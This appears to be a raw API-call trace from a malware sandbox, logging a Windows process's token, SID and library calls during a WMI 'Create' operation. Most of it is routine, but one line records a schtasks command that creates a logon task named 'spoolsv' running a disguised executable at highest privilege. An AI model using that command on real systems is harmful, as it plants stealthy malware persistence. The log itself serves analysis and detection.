malloc (_Size=0x18) returned 0x2af280 [0159.672] malloc (_Size=0x18) returned 0x2af260 [0159.672] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0159.673] SysStringLen (param_1="4223814209") returned 0xa [0159.673] memcpy (in: _Dst=0x12d6f8, _Src=0x118088, _Size=0x2a | out: _Dst=0x12d6f8) returned 0x12d6f8 [0159.673] memcpy (in: _Dst=0x12d720, _Src=0x142338, _Size=0x16 | out: _Dst=0x12d720) returned 0x12d720 [0159.673] free (_Block=0x2af180) [0159.673] free (_Block=0x2af280) [0159.673] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0159.673] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0159.673] malloc (_Size=0x18) returned 0x2af280 [0159.673] malloc (_Size=0x18) returned 0x2af180 [0159.673] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0159.673] SysStringLen (param_1="-") returned 0x1 [0159.673] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x3e | out: _Dst=0x171608) returned 0x171608 [0159.673] memcpy (in: _Dst=0x171644, _Src=0x142338, _Size=0x4 | out: _Dst=0x171644) returned 0x171644 [0159.673] free (_Block=0x2af260) [0159.673] free (_Block=0x2af280) [0159.673] malloc (_Size=0x18) returned 0x2af280 [0159.673] malloc (_Size=0x18) returned 0x2af260 [0159.673] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0159.673] SysStringLen (param_1="3835049652") returned 0xa [0159.673] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x40 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0159.673] memcpy (in: _Dst=0x12d736, _Src=0x142338, _Size=0x16 | out: _Dst=0x12d736) returned 0x12d736 [0159.673] free (_Block=0x2af180) [0159.673] free (_Block=0x2af280) [0159.673] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0159.673] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0159.673] malloc (_Size=0x18) returned 0x2af280 [0159.673] malloc (_Size=0x18) returned 0x2af180 [0159.674] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0159.674] SysStringLen (param_1="-") returned 0x1 [0159.674] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x54 | out: _Dst=0x171608) returned 0x171608 [0159.674] memcpy (in: _Dst=0x17165a, _Src=0x142338, _Size=0x4 | out: _Dst=0x17165a) returned 0x17165a [0159.674] free (_Block=0x2af260) [0159.674] free (_Block=0x2af280) [0159.674] malloc (_Size=0x18) returned 0x2af280 [0159.674] malloc (_Size=0x18) returned 0x2af260 [0159.674] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0159.674] SysStringLen (param_1="1000") returned 0x4 [0159.674] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x56 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0159.674] memcpy (in: _Dst=0x12d74c, _Src=0x142338, _Size=0xa | out: _Dst=0x12d74c) returned 0x12d74c [0159.674] free (_Block=0x2af180) [0159.674] free (_Block=0x2af280) [0159.674] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0159.674] malloc (_Size=0x5e) returned 0x2b0ad0 [0159.674] free (_Block=0x2af260) [0159.674] malloc (_Size=0x18) returned 0x2af260 [0159.675] free (_Block=0x2b0ad0) [0159.675] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0159.676] GetLastError () returned 0x7a [0159.676] malloc (_Size=0x14) returned 0x2af280 [0159.676] malloc (_Size=0x16) returned 0x2af180 [0159.676] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af280, cchName=0xe7ca84, ReferencedDomainName=0x2af180, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0159.676] malloc (_Size=0x18) returned 0x2af240 [0159.676] malloc (_Size=0x18) returned 0x2af1a0 [0159.676] free (_Block=0x2af280) [0159.676] free (_Block=0x2af180) [0159.677] free (_Block=0x2b8710) [0159.677] free (_Block=0x2af1a0) [0159.677] free (_Block=0x2af240) [0159.677] free (_Block=0x2af260) [0159.677] free (_Block=0x2b8b10) [0159.677] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0159.677] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0159.677] GetLastError () returned 0x7a [0159.677] malloc (_Size=0x2c) returned 0x2b8b50 [0159.677] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0159.677] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0159.677] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0159.677] malloc (_Size=0x1c) returned 0x2b8710 [0159.677] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8710, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0159.678] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0159.678] malloc (_Size=0x18) returned 0x2af260 [0159.678] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0159.678] malloc (_Size=0x18) returned 0x2af240 [0159.678] malloc (_Size=0x18) returned 0x2af1a0 [0159.678] SysStringLen (param_1="S-1-") returned 0x4 [0159.678] SysStringLen (param_1="5") returned 0x1 [0159.678] memcpy (in: _Dst=0x1424b8, _Src=0x1424e8, _Size=0xa | out: _Dst=0x1424b8) returned 0x1424b8 [0159.678] memcpy (in: _Dst=0x1424c0, _Src=0x142338, _Size=0x4 | out: _Dst=0x1424c0) returned 0x1424c0 [0159.678] free (_Block=0x2af260) [0159.678] free (_Block=0x2af240) [0159.678] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0159.678] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0159.678] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0159.678] malloc (_Size=0x18) returned 0x2af240 [0159.678] malloc (_Size=0x18) returned 0x2af260 [0159.678] SysStringLen (param_1="S-1-5") returned 0x5 [0159.678] SysStringLen (param_1="-") returned 0x1 [0159.678] memcpy (in: _Dst=0x142338, _Src=0x1424b8, _Size=0xc | out: _Dst=0x142338) returned 0x142338 [0159.678] memcpy (in: _Dst=0x142342, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142342) returned 0x142342 [0159.678] free (_Block=0x2af1a0) [0159.678] free (_Block=0x2af240) [0159.678] malloc (_Size=0x18) returned 0x2af240 [0159.678] malloc (_Size=0x18) returned 0x2af1a0 [0159.678] SysStringLen (param_1="S-1-5-") returned 0x6 [0159.678] SysStringLen (param_1="21") returned 0x2 [0159.679] memcpy (in: _Dst=0x1424e8, _Src=0x142338, _Size=0xe | out: _Dst=0x1424e8) returned 0x1424e8 [0159.679] memcpy (in: _Dst=0x1424f4, _Src=0x1424b8, _Size=0x6 | out: _Dst=0x1424f4) returned 0x1424f4 [0159.679] free (_Block=0x2af260) [0159.679] free (_Block=0x2af240) [0159.679] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0159.679] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0159.679] malloc (_Size=0x18) returned 0x2af240 [0159.679] malloc (_Size=0x18) returned 0x2af260 [0159.679] SysStringLen (param_1="S-1-5-21") returned 0x8 [0159.679] SysStringLen (param_1="-") returned 0x1 [0159.679] memcpy (in: _Dst=0x1424b8, _Src=0x1424e8, _Size=0x12 | out: _Dst=0x1424b8) returned 0x1424b8 [0159.679] memcpy (in: _Dst=0x1424c8, _Src=0x142338, _Size=0x4 | out: _Dst=0x1424c8) returned 0x1424c8 [0159.679] free (_Block=0x2af1a0) [0159.679] free (_Block=0x2af240) [0159.679] malloc (_Size=0x18) returned 0x2af240 [0159.679] malloc (_Size=0x18) returned 0x2af1a0 [0159.679] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0159.679] SysStringLen (param_1="4219442223") returned 0xa [0159.679] memcpy (in: _Dst=0x1179a8, _Src=0x1424b8, _Size=0x14 | out: _Dst=0x1179a8) returned 0x1179a8 [0159.679] memcpy (in: _Dst=0x1179ba, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x1179ba) returned 0x1179ba [0159.679] free (_Block=0x2af260) [0159.679] free (_Block=0x2af240) [0159.679] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0159.679] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0159.679] malloc (_Size=0x18) returned 0x2af240 [0159.680] malloc (_Size=0x18) returned 0x2af260 [0159.680] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0159.680] SysStringLen (param_1="-") returned 0x1 [0159.680] memcpy (in: _Dst=0x118088, _Src=0x1179a8, _Size=0x28 | out: _Dst=0x118088) returned 0x118088 [0159.680] memcpy (in: _Dst=0x1180ae, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x1180ae) returned 0x1180ae [0159.680] free (_Block=0x2af1a0) [0159.680] free (_Block=0x2af240) [0159.680] malloc (_Size=0x18) returned 0x2af240 [0159.680] malloc (_Size=0x18) returned 0x2af1a0 [0159.680] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0159.680] SysStringLen (param_1="4223814209") returned 0xa [0159.680] memcpy (in: _Dst=0x171608, _Src=0x118088, _Size=0x2a | out: _Dst=0x171608) returned 0x171608 [0159.680] memcpy (in: _Dst=0x171630, _Src=0x1424b8, _Size=0x16 | out: _Dst=0x171630) returned 0x171630 [0159.680] free (_Block=0x2af260) [0159.680] free (_Block=0x2af240) [0159.680] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0159.680] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0159.680] malloc (_Size=0x18) returned 0x2af240 [0159.680] malloc (_Size=0x18) returned 0x2af260 [0159.680] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0159.680] SysStringLen (param_1="-") returned 0x1 [0159.680] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x3e | out: _Dst=0x12d6f8) returned 0x12d6f8 [0159.680] memcpy (in: _Dst=0x12d734, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x12d734) returned 0x12d734 [0159.680] free (_Block=0x2af1a0) [0159.681] free (_Block=0x2af240) [0159.681] malloc (_Size=0x18) returned 0x2af240 [0159.681] malloc (_Size=0x18) returned 0x2af1a0 [0159.681] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0159.681] SysStringLen (param_1="3835049652") returned 0xa [0159.681] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x40 | out: _Dst=0x171608) returned 0x171608 [0159.681] memcpy (in: _Dst=0x171646, _Src=0x1424b8, _Size=0x16 | out: _Dst=0x171646) returned 0x171646 [0159.681] free (_Block=0x2af260) [0159.681] free (_Block=0x2af240) [0159.681] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0159.681] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0159.681] malloc (_Size=0x18) returned 0x2af240 [0159.681] malloc (_Size=0x18) returned 0x2af260 [0159.681] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0159.681] SysStringLen (param_1="-") returned 0x1 [0159.681] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x54 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0159.681] memcpy (in: _Dst=0x12d74a, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x12d74a) returned 0x12d74a [0159.681] free (_Block=0x2af1a0) [0159.681] free (_Block=0x2af240) [0159.681] malloc (_Size=0x18) returned 0x2af240 [0159.681] malloc (_Size=0x18) returned 0x2af1a0 [0159.681] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0159.681] SysStringLen (param_1="1000") returned 0x4 [0159.681] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x56 | out: _Dst=0x171608) returned 0x171608 [0159.681] memcpy (in: _Dst=0x17165c, _Src=0x1424b8, _Size=0xa | out: _Dst=0x17165c) returned 0x17165c [0159.681] free (_Block=0x2af260) [0159.681] free (_Block=0x2af240) [0159.681] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0159.682] malloc (_Size=0x5e) returned 0x2b0ad0 [0159.682] free (_Block=0x2af1a0) [0159.682] malloc (_Size=0x18) returned 0x2af1a0 [0159.682] free (_Block=0x2b0ad0) [0159.682] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0159.683] GetLastError () returned 0x7a [0159.683] malloc (_Size=0x14) returned 0x2af240 [0159.683] malloc (_Size=0x16) returned 0x2af260 [0159.683] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af240, cchName=0xe7ca94, ReferencedDomainName=0x2af260, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0159.683] malloc (_Size=0x18) returned 0x2af180 [0159.683] malloc (_Size=0x18) returned 0x2af280 [0159.683] free (_Block=0x2af240) [0159.683] free (_Block=0x2af260) [0159.683] free (_Block=0x2b8710) [0159.683] free (_Block=0x2af280) [0159.683] free (_Block=0x2af180) [0159.683] free (_Block=0x2af1a0) [0159.684] free (_Block=0x2b8b50) [0159.684] malloc (_Size=0x48) returned 0x2ad680 [0159.684] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0159.701] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0159.701] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0159.701] malloc (_Size=0x18) returned 0x2af1a0 [0159.701] CreateEnvironmentBlock () returned 0x1 [0159.727] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0159.727] malloc (_Size=0x18) returned 0x2af180 [0159.727] CreateProcessAsUserW (in: hToken=0x1ec, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"spoolsv\" /sc ONLOGON /tr \"'C:\\Users\\Default\\spoolsv.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"spoolsv\" /sc ONLOGON /tr \"'C:\\Users\\Default\\spoolsv.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0x8bc, dwThreadId=0x8c0)) returned 1 [0159.731] CloseHandle (hObject=0x300) returned 1 [0159.731] CloseHandle (hObject=0x2fc) returned 1 [0159.732] free (_Block=0x2af180) [0159.732] DestroyEnvironmentBlock () returned 0x1 [0159.732] malloc (_Size=0x48) returned 0x2ad6d0 [0159.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2b6a1a20, dwHighDateTime=0x1d8a92a)) [0159.732] SetEvent (hEvent=0x1f0) returned 1 [0159.732] CloseHandle (hObject=0x244) returned 1 [0159.732] CloseHandle (hObject=0x1ec) returned 1 [0159.756] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0159.756] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0159.756] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0160.127] SetLastError (dwErrCode=0x0) [0160.127] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0160.127] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0160.127] SetLastError (dwErrCode=0x0) [0160.127] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0160.127] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0160.127] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0160.127] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0160.127] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0160.127] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0160.129] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0160.129] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0160.130] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0160.130] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0160.130] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0160.130] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0160.130] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0160.132] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0160.132] GetCurrentThread () returned 0xfffffffffffffffe [0160.132] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x248) returned 1 [0160.132] malloc (_Size=0xd8) returned 0x2b90e0 [0160.132] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0160.133] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0160.133] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0160.133] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0160.133] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0160.133] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0160.133] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0160.134] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0160.134] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0160.134] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0160.134] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0160.134] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0160.134] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0160.135] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0160.135] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0160.135] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0160.135] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0160.135] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0160.135] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0160.136] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0160.136] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0160.136] malloc (_Size=0x18) returned 0x2af1a0 [0160.136] DuplicateTokenEx (in: hExistingToken=0x248, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x234) returned 1 [0160.136] malloc (_Size=0x48) returned 0x2ad6d0 [0160.136] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2ba7fde0, dwHighDateTime=0x1d8a92a)) [0160.136] SetEvent (hEvent=0x1f0) returned 1 [0160.138] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0160.139] GetLastError () returned 0x7a [0160.139] malloc (_Size=0x2c) returned 0x2b8b10 [0160.139] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0160.139] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0160.139] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0160.139] malloc (_Size=0x1c) 